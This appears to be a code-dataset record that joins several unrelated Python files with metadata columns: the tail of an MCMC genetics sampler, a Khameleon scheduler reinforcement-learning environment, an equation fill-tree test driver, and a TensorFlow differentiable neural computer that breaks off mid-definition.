Metropolis-Hastings step if iter % 100 == 0: print(probnum1,probdenom1,lnum2,ldenom2) if np.log(np.random.uniform(0,1,size = 1)[0]) < min(0, (lnum2 + probnum1) - (probdenom1 + ldenom2)): acceptmh2[annotidx] += 1 scales[iter,annotidx] = np.power(scaleprop,2) if iter > burn: acceptmh2_postburnin[annotidx] += 1 else: rejectmh2[annotidx] += 1 scales[iter,annotidx] = scales[iter-1,annotidx] if iter > burn: rejectmh2_postburnin[annotidx] += 1 # f) alpha alphaprop = abs(np.random.normal(alpha[iter-1,0],xialpha0,size = 1)[0]) alphanum = -2*np.log(alphaprop) - 1/alphaprop alphadenom = -2*np.log(alpha[iter-1,0]) - 1/alpha[iter-1,0] alphanum2 = 0 alphadenom2 = 0 lnormDprop = 0 lpdirpropgene = 0 lnormDliter = 0 lpdirlgene = 0 densitypropa = 0 densitya = 0 lnormDprop = math.lgamma(np.sum([alphaprop*i for i in pc[iter,0,:]])) - np.sum([math.lgamma(max(alphaprop*i,epsilon)) for i in pc[iter,0,:]]) lnormDliter = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pc[iter,0,:]])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pc[iter,0,:]]) for geneidx in range(0,genenum): densitypropa = np.sum([(alphaprop*pc[iter,0,:] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirpropgene += densitypropa + lnormDprop densitya = np.sum([(alpha[iter-1,0]*pc[iter,0,:] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirlgene += densitya + lnormDliter ladirnum = alphanum + lpdirpropgene ladirdenom = alphadenom + lpdirlgene ladir = ladirnum - ladirdenom ## Metropolis-Hastings step if numpy.log(np.random.uniform(0,1,size = 1)[0]) < min(0, ladir): acceptmh3 += 1 alpha[iter,:] = alphaprop if iter > burn: acceptmh3_postburnin += 1 else: rejectmh3 += 1 alpha[iter,:] = alpha[iter-1,:] if iter > burn: rejectmh3_postburnin += 1 ## Write output for input files mcout = open(outpath + str(fout) + '.mcmc.posteriors','w+') for varidx in range(0,m): mcout.write(chroffvec[varidx] + '\t' + annotvec[varidx] + '\t' + protvec[varidx] + '\t' + genevec[varidx] + '\t' + str(genevec[varidx] + ':' + annotvec[varidx] + ':' + protvec[varidx])) for cidx in range(0,C): probclustervar = numpy.where(deltam[burn+1:niter+1,varidx] == cidx)[0].shape[0]/(niter - burn) mcout.write('\t' + str(probclustervar)) mcout.write('\n') mcout.close() ## Write output for input files protout = open(outpath + str(fout) + '.mcmc.protective','w+') for varidx in range(0,m): protout.write(chroffvec[varidx] + '\t' + annotvec[varidx] + '\t' + protvec[varidx] + '\t' + genevec[varidx] + '\t' + str(genevec[varidx] + ':' + annotvec[varidx] + ':' + protvec[varidx])) protdattmp = numpy.where(protind[burn+1:niter+1,varidx] == 1)[0].shape[0]/(niter - burn) protout.write('\t' + str(protdattmp)) protout.write('\n') protout.close() rejectionrate = rejectmh1_postburnin/(acceptmh1_postburnin + rejectmh1_postburnin) print(rejectmh1_postburnin,acceptmh1_postburnin) logger.info(("Your acceptance rate is %2.2f") % ( rejectmh1_postburnin/(acceptmh1_postburnin + rejectmh1_postburnin))) print(rejectmh2_postburnin,acceptmh2_postburnin) print(rejectmh3_postburnin,acceptmh3_postburnin) genedat = {} if verbose: probout = fout + '.mcmc.probs' numpy.savetxt(outpath + probout, deltam, fmt='%1.3f') bcout = open(outpath + str(fout) + '.mcmc.bc','w+') for cidx in range(0,C): mean = numpy.mean(bc[burn+1:niter+1:thinning,cidx,:],axis = 0) l95ci = numpy.percentile(bc[burn+1:niter+1:thinning,cidx,:],2.5, axis = 0) u95ci = numpy.percentile(bc[burn+1:niter+1:thinning,cidx,:],97.5, axis = 0) bcout.write(str(cidx)) for phenidx in range(0,mean.shape[0]): print(("\t%2.2f\t%2.2f\t%2.2f") % (mean[phenidx], l95ci[phenidx], u95ci[phenidx]), end = '', file = bcout) bcout.write('\n') bcout.close() scaleout = open(outpath + str(fout) + '.mcmc.scale','w+') for annotidx in range(0,annotlen): mean = numpy.mean(np.sqrt(scales[burn+1:niter+1:thinning,annotidx]),axis = 0) l95ci = numpy.percentile(np.sqrt(scales[burn+1:niter+1:thinning,annotidx]),2.5, axis = 0) u95ci = numpy.percentile(np.sqrt(scales[burn+1:niter+1:thinning,annotidx]),97.5, axis = 0) print(("%s\t%s\t%2.2f\t%2.2f\t%2.2f") % (str(annotidx),annotmap[annotidx],mean,l95ci,u95ci), file = scaleout) scaleout.close() tmpbc = open(outpath + str(fout) + '.theta.bc', 'w+') for jidx in range(0,k): for kidx in range(0,k): print(Theta0[jidx,kidx], file = tmpbc,end = ' ') print('\n',end='',file=tmpbc) tmpbc.close() pc[0,0,:] print('geneset', np.mean(pcj[burn+1:niter+1:thinning,:],axis=0)) # initialize pcj (proportions for each gene j) for geneidx in range(0,genenum): genedat[genemap[geneidx]] = np.mean(pcj[burn+1:niter+1:thinning,geneidx,:],axis=0) alphaout = open(outpath + str(fout) + '.mcmc.alpha','w+') mean = numpy.mean(alpha[burn+1:niter+1:thinning,0],axis = 0) l95ci = numpy.percentile(alpha[burn+1:niter+1:thinning,0],2.5, axis = 0) u95ci = numpy.percentile(alpha[burn+1:niter+1:thinning,0],97.5, axis = 0) print(mean) print(("%2.2f\t%2.2f\t%2.2f") % (mean,l95ci,u95ci), file = alphaout) alphaout.close() maxllkiter = np.max(maxloglkiter[burn+1:niter:thinning,0]) BIC = -2*maxllkiter + (k+ genenum)*(C-1)*np.log(m) AIC = -2*maxllkiter + (k+ genenum)*(C-1)*2 # print((k+genenum)*(C-1)*np.log(m), k,genenum,C,m,np.log(m), maxllkiter) # print(maxloglkiter[burn+1:niter:thinning,0]) return [BIC,AIC,genedat]
50.222083
236
0.582432
5,278
40,027
4.399962
0.082039
0.023683
0.026181
0.012057
0.910132
0.90264
0.895147
0.890712
0.876975
0.875727
0
0.040927
0.27419
40,027
796
237
50.285176
0.758433
0.120569
0
0.851095
0
0.00292
0.018472
0.003335
0
0
0
0
0
1
0.00438
false
0
0.030657
0
0.040876
0.042336
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
25728792dbeada968022eadfb38f1fc004221114
17,349
py
Python
environment.py
YangChenye/Khameleon-Scheduler-RL
7ddfe067bf5ebb757b06aede6591e9f86ea4af6a
[ "MIT" ]
null
null
null
environment.py
YangChenye/Khameleon-Scheduler-RL
7ddfe067bf5ebb757b06aede6591e9f86ea4af6a
[ "MIT" ]
null
null
null
environment.py
YangChenye/Khameleon-Scheduler-RL
7ddfe067bf5ebb757b06aede6591e9f86ea4af6a
[ "MIT" ]
null
null
null
# Created by Chenye Yang on 2020/8/12. # Copyright © 2020 Chenye Yang. All rights reserved. from gym.envs.toy_text import discrete import numpy as np from scipy.special import comb from itertools import permutations from multiprocessing import Pool, cpu_count class color: PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[31m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' class SchedulerEnv(): """ The environment of Khameleon """ def __init__(self, buffer_size, num_actions, num_blocks, utility): self.buffer_size = buffer_size # number of max blocks to store in client buffer self.num_actions = num_actions # number of actions / scheduler responses / client requests self.num_blocks = num_blocks # each response has 5 blocks # Hypothesis: there's no two same blocks in buffer # Hypothesis: the initial buffer is full of blocks, no 00 self.perms = [p for p in permutations(range(sum(self.num_blocks)), self.buffer_size)] # perms are [(0, 1, 2, 3, 4, 5, 6), (0, 1, 2, 3, 4, 5, 7), ... # 0-4 means the 5 blocks for first response self.num_states = len(self.perms) # the total number of client buffer state # utility[response] is the <list> utilities of blocks self.utility = utility self.nS = self.num_states self.nA = self.num_actions # P[state][action] are tuples of tuples tuples with (probability, nextstate, reward, terminal) # Hypothesis: no block lost in internet transmit, no delay. Then the prob of next state is 1 with Pool(processes=cpu_count()) as pool: # initialize the transform matrix with multiprocessing self.P = list(pool.map(self.trans, range(self.num_states))) # # initialize the transform matrix with single thread # self.P = [[[] for action in range(self.num_actions)] for state in range(self.num_states)] # for current_s_idx in range(self.num_states): # for action_idx in range(self.num_actions): # prob = 1 # next_s_idx = self.next_state_idx(current_s_idx, action_idx) # next_s = self.perms[next_s_idx] # arrival_b_num = next_s[self.buffer_size - 1] # reward = self.reward(arrival_b_num) # terminal = 0 # self.P[current_s_idx][action_idx].append((prob, next_s_idx, reward, terminal)) def block_decode(self, block_num): # input: the number in self.perms, each number represent a combination of response and block. # output: the response-block pair, indicating which response and which block of the response # [0,3] means the 4th block of 1st response (index starts from 0) # 3 means the 4th block of 1st response # if input 3, output [0,3] start_index = [0] # the index number of the first block of each response for i in range(self.num_actions - 1): start_index.append(start_index[i] + self.num_blocks[i]) # compare to get the action index action = self.num_actions - 1 for i in range(self.num_actions): if block_num < start_index[i]: action = i - 1 break # get the block index block = block_num - start_index[action] # combine response_block_pair = [action, block] return response_block_pair def block_encode(self, response_block_pair): # input: the response-block pair, indicating which response and which block of the response # output: the number in self.perms, each number represent a combination of response and block. # [0,3] means the 4th block of 1st response (index starts from 0) # 3 means the 4th block of 1st response # if input [0,3], output 3 start_index = [0] # the index number of the first block of each response for i in range(self.num_actions - 1): start_index.append(start_index[i] + self.num_blocks[i]) # split action, block = response_block_pair # compute the block number block_num = start_index[action] + block return block_num def next_state_idx(self, current_state_index, action): # input: the index of current state in self.perms, the index of action # output: the index of next state in self.perms current_state = self.perms[current_state_index] # (0, 1, 2, 3, 4, 5, 6) # create a statistic to count whether the block has appeared in current state stat = [[0 for j in range(self.num_blocks[i])] for i in range(self.num_actions)] for block_num in current_state: a, b = self.block_decode(block_num) stat[a][b] = 1 # the action and block has appeared # [[1, 1, 1, 1, 1], [1, 1, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]] stat_sum = list(map(sum, stat)) # [5, 2, 0, 0, 0, 0] if stat_sum[action] == self.num_blocks[action]: next_state_index = -1 # print(color.YELLOW + 'INFO: ' + color.END + 'The buffer has all blocks for the request, no block is sent.') else: block = stat[action].index(0) next_block = self.block_encode([action, block]) next_state = current_state[1:self.buffer_size] + (next_block,) try: next_state_index = self.perms.index(next_state) except ValueError: next_state_index = -2 print( color.RED + 'ERROR: ' + color.END + 'The next state {} not in the combinations'.format(next_state)) return next_state_index def reward(self, block_num): # input: the number in self.perms, each number represent a combination of response and block. # output: the utility of this block response, block = self.block_decode(block_num) r = self.utility[response][block] return r def trans(self, current_s_idx): # input: the index of current state # output: [[result of 1st action], [result of 2nd action], [result of 3rd action], [result of 4th action]] # [[(prob, next_s_idx, reward, terminal), (prob, next_s_idx, reward, terminal)], [...], [...], [...]] p = [[] for action_idx in range(self.num_actions)] for action_idx in range(self.num_actions): prob = 1 next_s_idx = self.next_state_idx(current_s_idx, action_idx) if next_s_idx >= 0: next_s = self.perms[next_s_idx] arrival_b_num = next_s[self.buffer_size - 1] reward = self.reward(arrival_b_num) else: # deal with the index=-1, which means nothing changed next_s_idx = current_s_idx reward = 0 terminal = 0 p[action_idx].append((prob, next_s_idx, reward, terminal)) return p def buffer_value(self, state_index): # input: index of state in self.perms # output: the state value of the input state buffer = self.perms[state_index] b_value = sum(list(map(self.reward, buffer))) return b_value def list_str(self, state_list): # input: state_list: [11,12,13,14,15,21,0] # 12 means this buffer position stores the 2nd block of the 1st response # 0 means this buffer position is empty # output: state_str: '11121314152100' state_temp = list(map(str, state_list)) state_temp = [s.zfill(2) for s in state_temp] # change '0' to '00' state_str = ''.join(state_temp) return state_str def str_list(self, state_str): # input: state_str: '11121314152100' # '12' means this buffer position stores the 2nd block of the 1st response # '00' means this buffer position is empty # output: state_list: [11,12,13,14,15,21,0] state_list = [] for i in range(int(state_str.__len__()/2)): state_list.append(state_str[0+2*i:2+2*i]) state_list = list(map(int, state_list)) return state_list class SchedulerEnv_Dynamic(): """ The environment of Khameleon """ def __init__(self, buffer_size, num_actions, num_blocks, utility): self.buffer_size = buffer_size # number of max blocks to store in client buffer self.num_actions = num_actions # number of actions / scheduler responses / client requests self.num_blocks = num_blocks # each response has 5 blocks # Hypothesis: there's no two same blocks in buffer # Hypothesis: the initial buffer is full of blocks, no 00 self.perms = [p for p in permutations(range(sum(self.num_blocks)), self.buffer_size)] # perms are [(0, 1, 2, 3, 4, 5, 6), (0, 1, 2, 3, 4, 5, 7), ... # 0-4 means the 5 blocks for first response self.num_states = len(self.perms) # the total number of client buffer state # utility[response] is the <list> utilities of blocks self.utility = utility self.nS = self.num_states self.nA = self.num_actions # # P[state][action] are tuples of tuples tuples with (probability, nextstate, reward, terminal) # # Hypothesis: no block lost in internet transmit, no delay. Then the prob of next state is 1 # with Pool(processes=cpu_count()) as pool: # initialize the transform matrix with multiprocessing # self.P = list(pool.map(self.trans, range(self.num_states))) # # initialize the transform matrix with single thread # self.P = [[[] for action in range(self.num_actions)] for state in range(self.num_states)] # for current_s_idx in range(self.num_states): # for action_idx in range(self.num_actions): # prob = 1 # next_s_idx = self.next_state_idx(current_s_idx, action_idx) # next_s = self.perms[next_s_idx] # arrival_b_num = next_s[self.buffer_size - 1] # reward = self.reward(arrival_b_num) # terminal = 0 # self.P[current_s_idx][action_idx].append((prob, next_s_idx, reward, terminal)) def block_decode(self, block_num): # input: the number in self.perms, each number represent a combination of response and block. # output: the response-block pair, indicating which response and which block of the response # [0,3] means the 4th block of 1st response (index starts from 0) # 3 means the 4th block of 1st response # if input 3, output [0,3] start_index = [0] # the index number of the first block of each response for i in range(self.num_actions - 1): start_index.append(start_index[i] + self.num_blocks[i]) # compare to get the action index action = self.num_actions - 1 for i in range(self.num_actions): if block_num < start_index[i]: action = i - 1 break # get the block index block = block_num - start_index[action] # combine response_block_pair = [action, block] return response_block_pair def block_encode(self, response_block_pair): # input: the response-block pair, indicating which response and which block of the response # output: the number in self.perms, each number represent a combination of response and block. # [0,3] means the 4th block of 1st response (index starts from 0) # 3 means the 4th block of 1st response # if input [0,3], output 3 start_index = [0] # the index number of the first block of each response for i in range(self.num_actions - 1): start_index.append(start_index[i] + self.num_blocks[i]) # split action, block = response_block_pair # compute the block number block_num = start_index[action] + block return block_num def next_state_idx(self, current_state_index, action): # input: the index of current state in self.perms, the index of action # output: the index of next state in self.perms current_state = self.perms[current_state_index] # (0, 1, 2, 3, 4, 5, 6) # create a statistic to count whether the block has appeared in current state stat = [[0 for j in range(self.num_blocks[i])] for i in range(self.num_actions)] for block_num in current_state: a, b = self.block_decode(block_num) stat[a][b] = 1 # the action and block has appeared # [[1, 1, 1, 1, 1], [1, 1, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]] stat_sum = list(map(sum, stat)) # [5, 2, 0, 0, 0, 0] if stat_sum[action] == self.num_blocks[action]: next_state_index = -1 # print(color.YELLOW + 'INFO: ' + color.END + 'The buffer has all blocks for the request, no block is sent.') else: block = stat[action].index(0) next_block = self.block_encode([action, block]) next_state = current_state[1:self.buffer_size] + (next_block,) try: next_state_index = self.perms.index(next_state) except ValueError: next_state_index = -2 print( color.RED + 'ERROR: ' + color.END + 'The next state {} not in the combinations'.format(next_state)) return next_state_index def reward(self, block_num): # input: the number in self.perms, each number represent a combination of response and block. # output: the utility of this block response, block = self.block_decode(block_num) r = self.utility[response][block] return r def trans(self, current_s_idx): # input: the index of current state # output: [[result of 1st action], [result of 2nd action], [result of 3rd action], [result of 4th action]] # [[(prob, next_s_idx, reward, terminal), (prob, next_s_idx, reward, terminal)], [...], [...], [...]] p = [[] for action_idx in range(self.num_actions)] for action_idx in range(self.num_actions): prob = 1 next_s_idx = self.next_state_idx(current_s_idx, action_idx) if next_s_idx >= 0: next_s = self.perms[next_s_idx] arrival_b_num = next_s[self.buffer_size - 1] reward = self.reward(arrival_b_num) else: # deal with the index=-1, which means nothing changed next_s_idx = current_s_idx reward = 0 terminal = 0 p[action_idx].append((prob, next_s_idx, reward, terminal)) return p def buffer_value(self, state_index): # input: index of state in self.perms # output: the state value of the input state buffer = self.perms[state_index] b_value = sum(list(map(self.reward, buffer))) return b_value def list_str(self, state_list): # input: state_list: [11,12,13,14,15,21,0] # 12 means this buffer position stores the 2nd block of the 1st response # 0 means this buffer position is empty # output: state_str: '11121314152100' state_temp = list(map(str, state_list)) state_temp = [s.zfill(2) for s in state_temp] # change '0' to '00' state_str = ''.join(state_temp) return state_str def str_list(self, state_str): # input: state_str: '11121314152100' # '12' means this buffer position stores the 2nd block of the 1st response # '00' means this buffer position is empty # output: state_list: [11,12,13,14,15,21,0] state_list = [] for i in range(int(state_str.__len__()/2)): state_list.append(state_str[0+2*i:2+2*i]) state_list = list(map(int, state_list)) return state_list if __name__ == '__main__': # testing buffer_size = 5 # number of max blocks to store in client buffer num_actions = 4 # number of actions / scheduler responses / client requests num_block = [3 for i in range(num_actions)] # each response has 5 blocks utility = [[0.6, 0.3, 0.1] for i in range(num_actions)] # utility[response] is the <list> utilities of blocks schedulerEnv = SchedulerEnv(buffer_size, num_actions, num_block, utility) # print(schedulerEnv.list_str((11,12,13,14,15,21,0))) # print(schedulerEnv.str_list('11121314152100')) print('Num of states: {}'.format(schedulerEnv.num_states)) # print(schedulerEnv.block_decode(2)) # print(schedulerEnv.block_encode([2, 2])) next_a = 2 current_s_index = 7 current_s = schedulerEnv.perms[current_s_index] print('The current state: {}'.format(current_s)) next_s_index = schedulerEnv.next_state_idx(current_s_index, next_a) next_s = schedulerEnv.perms[next_s_index] print('The next state: {}'.format(next_s)) arrival_b = schedulerEnv.block_decode(next_s[schedulerEnv.buffer_size - 1])[1] print('The new arrival block for request {}: {}'.format(next_a, arrival_b)) buffer_v = schedulerEnv.buffer_value(current_s_index) print('The value of client buffer {} is {}'.format(current_s, buffer_v))
48.460894
121
0.623494
2,515
17,349
4.137575
0.085885
0.00961
0.013262
0.016145
0.906112
0.895733
0.891697
0.885931
0.881991
0.878339
0
0.037673
0.277826
17,349
358
122
48.460894
0.792801
0.430054
0
0.811881
0
0
0.032125
0
0
0
0
0
0
1
0.089109
false
0
0.024752
0
0.257426
0.034653
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c29ded1c9445a66bca9ecdb4702449935d8ff664
2,814
py
Python
UnitTests/Maths/FillTreeDriver.py
nesbittryan/3250GraphCalcProject
861e3e8e599e0ee00391c99cb82bacf268d9556b
[ "MIT" ]
null
null
null
UnitTests/Maths/FillTreeDriver.py
nesbittryan/3250GraphCalcProject
861e3e8e599e0ee00391c99cb82bacf268d9556b
[ "MIT" ]
null
null
null
UnitTests/Maths/FillTreeDriver.py
nesbittryan/3250GraphCalcProject
861e3e8e599e0ee00391c99cb82bacf268d9556b
[ "MIT" ]
null
null
null
#!/usr/bin/python from Testing import * from Modules.Maths.FillTree import * # # Verify Driver # Verify the functions within verifier # printHeader("Fill Tree Driver", "Testing functions in FillTree: parseString.") eq = "((5.25+(6*7))-(9/1))" parseString(eq) ans = [None, '-', '+', '/', '5.25', '*', '9', '1', None, None, '6', '7', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None] ansList = getList() assertEqual("The equation " + eq + " list is equal.", ans, ansList) myList = [None] * 50 eq = "((2*x)+5)" parseString(eq) ans = [None, '+', '*', '5', '2', 'x', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None] ansList = getList() assertEqual("The equation " + eq + " list is equal.", ans, ansList) eq = "(sin(2))" parseString(eq) ans = [None, 'sin', '2', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None] ansList = getList() assertEqual("The equation " + eq + " list is equal.", ans, ansList) eq = "(((2+4)!)+2)" parseString(eq) ans = [None, '+', '!', '2', '+', None, None, '2', '4', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None] ansList = getList() assertEqual("The equation " + eq + " list is equal.", ans, ansList) eq = "(((1+2)^3)*4)" parseString(eq) ans = [None, '*', '^', '4', '+', '3', None, None, '1', '2', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None] ansList = getList() assertEqual("The equation " + eq + " list is equal.", ans, ansList) eq = "((5!^2)+(sin(8+2)))" parseString(eq) ans = [None, '+', '^', 'sin', '5!', '2', '+', None, None, None, None, None, '8', '2', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None, None] ansList = getList() assertEqual("The equation " + eq + " list is equal.", ans, ansList)
58.625
306
0.620824
429
2,814
4.072261
0.102564
1.131082
1.627934
2.106468
0.847739
0.811677
0.772181
0.772181
0.772181
0.772181
0
0.018779
0.167377
2,814
47
307
59.87234
0.726846
0.025231
0
0.529412
0
0
0.128926
0
0
0
0
0
0.176471
1
0
false
0
0.058824
0
0.058824
0.029412
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
6c3cccc13a7718397d741252da0a5e88b230e375
45,750
py
Python
dnc/dnc.py
HimariO/VideoSum
3a81276df3b429c24ebf9a1841b5a9168c0c3ccf
[ "MIT" ]
null
null
null
dnc/dnc.py
HimariO/VideoSum
3a81276df3b429c24ebf9a1841b5a9168c0c3ccf
[ "MIT" ]
null
null
null
dnc/dnc.py
HimariO/VideoSum
3a81276df3b429c24ebf9a1841b5a9168c0c3ccf
[ "MIT" ]
null
null
null
import tensorflow as tf from tensorflow.contrib.rnn import LSTMStateTuple from .memory import * from .utility import * import os class DNC: def __init__(self, controller_class, input_size, output_size, max_sequence_length, memory_words_num=256, memory_word_size=64, memory_read_heads=4, batch_size=1, testing=False, output_feedback=False): """ constructs a complete DNC architecture as described in the DNC paper http://www.nature.com/nature/journal/vaop/ncurrent/full/nature20101.html Parameters: ----------- controller_class: BaseController a concrete implementation of the BaseController class input_size: int the size of the input vector output_size: int the size of the output vector max_sequence_length: int the maximum length of an input sequence memory_words_num: int the number of words that can be stored in memory memory_word_size: int the size of an individual word in memory memory_read_heads: int the number of read heads in the memory batch_size: int the size of the data batch """ self.testing = testing self.feedback = output_feedback self.output_t = tf.zeros([batch_size, output_size]) self.input_size = input_size + output_size if output_feedback else input_size self.output_size = output_size self.max_sequence_length = max_sequence_length self.words_num = memory_words_num self.word_size = memory_word_size self.read_heads = memory_read_heads self.batch_size = batch_size self.memory = SharpMemory(self.words_num, self.word_size, self.read_heads, self.batch_size) self.packed_memory_matrixs = {} self.controller = controller_class(self.input_size, self.output_size, self.read_heads, self.word_size, self.batch_size) # input data placeholders self.input_data = tf.placeholder(tf.float32, [batch_size, None, self.input_size], name='input') self.target_output = tf.placeholder(tf.float32, [batch_size, None, self.output_size], name='targets') self.target_output_id = tf.placeholder(tf.int32, [batch_size, None], name='targets_id') # self.target_output_mul_id = tf.placeholder(tf.int32, [batch_size, None, ], name='targets_id') self.sequence_length = tf.placeholder(tf.int32, name='sequence_length') self.penalty_term = None self.build_graph() def _step_op(self, step, memory_state, controller_state=None): """ performs a step operation on the input step data Parameters: ---------- step: Tensor (batch_size, input_size) memory_state: Tuple a tuple of current memory parameters controller_state: Tuple the state of the controller if it's recurrent Returns: Tuple output: Tensor (batch_size, output_size) memory_view: dict """ last_read_vectors = memory_state[6] pre_output, interface, nn_state = None, None, None if self.controller.has_recurrent_nn: pre_output, interface, nn_state = self.controller.process_input(step, last_read_vectors, controller_state) else: pre_output, interface = self.controller.process_input(step, last_read_vectors) usage_vector, write_weighting, memory_matrix, link_matrix, precedence_vector = self.memory.write( memory_state[0], memory_state[1], memory_state[5], memory_state[4], memory_state[2], memory_state[3], interface['write_key'], interface['write_strength'], interface['free_gates'], interface['allocation_gate'], interface['write_gate'], interface['write_vector'], interface['erase_vector'] ) if isinstance(self.memory, SharpMemory) or isinstance(self.memory, KMemory): read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], memory_state[1], ) else: read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], ) return [ # report new memory state to be updated outside the condition branch memory_matrix, usage_vector, precedence_vector, link_matrix, write_weighting, read_weightings, read_vectors, self.controller.final_output(pre_output, read_vectors), interface['free_gates'], interface['allocation_gate'], interface['write_gate'], # report new state of RNN if exists nn_state if nn_state is not None else tf.zeros(1), ] def _loop_body(self, time, memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state, *memory_state_record): """ the body of the DNC sequence processing loop Parameters: ---------- time: Tensor outputs: TensorArray memory_state: Tuple free_gates: TensorArray allocation_gates: TensorArray write_gates: TensorArray read_weightings: TensorArray, write_weightings: TensorArray, usage_vectors: TensorArray, controller_state: Tuple Returns: Tuple containing all updated arguments """ step_input = self.unpacked_input_data.read(time) if self.feedback: # redirect output if DNC is at test time(trainging time will use target as feedback so no need to change TF graph) if time == 0 and self.testing: # get input data with out feedback part. step_input = tf.slice(step_input, [0, 0], [self.batch_size, self.input_size - self.output_size]) step_input = tf.concat([step_input, tf.zeros([self.batch_size, self.output_size])], 1) elif self.testing: step_input = tf.slice(step_input, [0, 0], [self.batch_size, self.input_size - self.output_size]) step_input = tf.concat([step_input, self.output_t], 1) output_list = self._step_op(step_input, memory_state, controller_state) # update memory parameters new_controller_state = tf.zeros(1) new_memory_state = tuple(output_list[0:7]) new_controller_state = output_list[11] outputs = outputs.write(time, output_list[7]) self.output_t = output_list[7] # collecting memory view for the current step free_gates = free_gates.write(time, output_list[8]) allocation_gates = allocation_gates.write(time, output_list[9]) write_gates = write_gates.write(time, output_list[10]) read_weightings = read_weightings.write(time, output_list[5]) write_weightings = write_weightings.write(time, output_list[4]) usage_vectors = usage_vectors.write(time, output_list[1]) memory_state_list = list(memory_state_record) if self.testing: memory_state_list[0] = memory_state_record[0].write(time, new_memory_state[0]) memory_state_list[1] = memory_state_record[1].write(time, new_memory_state[1]) memory_state_list[2] = memory_state_record[2].write(time, new_memory_state[2]) memory_state_list[3] = memory_state_record[3].write(time, new_memory_state[3]) memory_state_list[4] = memory_state_record[4].write(time, new_memory_state[4]) memory_state_list[5] = memory_state_record[5].write(time, new_memory_state[5]) memory_state_list[6] = memory_state_record[6].write(time, new_memory_state[6]) return ( time + 1, new_memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, new_controller_state, *memory_state_list ) def build_graph(self): """ builds the computational graph that performs a step-by-step evaluation of the input data batches """ self.unpacked_input_data = unpack_into_tensorarray(self.input_data, 1, self.sequence_length) outputs = tf.TensorArray(tf.float32, self.sequence_length) usage_vectors = tf.TensorArray(tf.float32, self.sequence_length) free_gates = tf.TensorArray(tf.float32, self.sequence_length) allocation_gates = tf.TensorArray(tf.float32, self.sequence_length) write_gates = tf.TensorArray(tf.float32, self.sequence_length) read_weightings = tf.TensorArray(tf.float32, self.sequence_length) write_weightings = tf.TensorArray(tf.float32, self.sequence_length) memory_state = self.memory.init_memory() memory_state_record = [ tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), ] controller_state = self.controller.get_state() if self.controller.has_recurrent_nn else (tf.zeros(1), tf.zeros(1)) # This 2 line of code will cause problem if controller have more than 1 layer. # if not isinstance(controller_state, LSTMStateTuple): # controller_state = LSTMStateTuple(controller_state[0], controller_state[1]) final_results = None time = tf.constant(0, dtype=tf.int32) final_results = tf.while_loop( cond=lambda time, *_: time < self.sequence_length, body=self._loop_body, loop_vars=( time, memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state, *memory_state_record, ), parallel_iterations=32, swap_memory=True ) dependencies = [] if self.controller.has_recurrent_nn: dependencies.append(self.controller.update_state(final_results[9])) # result[9] is new_controller_state with tf.control_dependencies(dependencies): self.packed_output = pack_into_tensor(final_results[2], axis=1) self.packed_memory_view = { 'free_gates': pack_into_tensor(final_results[3], axis=1), 'allocation_gates': pack_into_tensor(final_results[4], axis=1), 'write_gates': pack_into_tensor(final_results[5], axis=1), 'read_weightings': pack_into_tensor(final_results[6], axis=1), 'write_weightings': pack_into_tensor(final_results[7], axis=1), 'usage_vectors': pack_into_tensor(final_results[8], axis=1) } if self.testing: self.packed_memory_matrixs = { 'memory_matrix': pack_into_tensor(final_results[10], axis=1), 'usage_vector': pack_into_tensor(final_results[11], axis=1), 'precedence_vector': pack_into_tensor(final_results[12], axis=1), 'link_matrix': pack_into_tensor(final_results[13], axis=1), 'write_weighting': pack_into_tensor(final_results[14], axis=1), 'read_weightings': pack_into_tensor(final_results[15], axis=1), 'read_vectors': 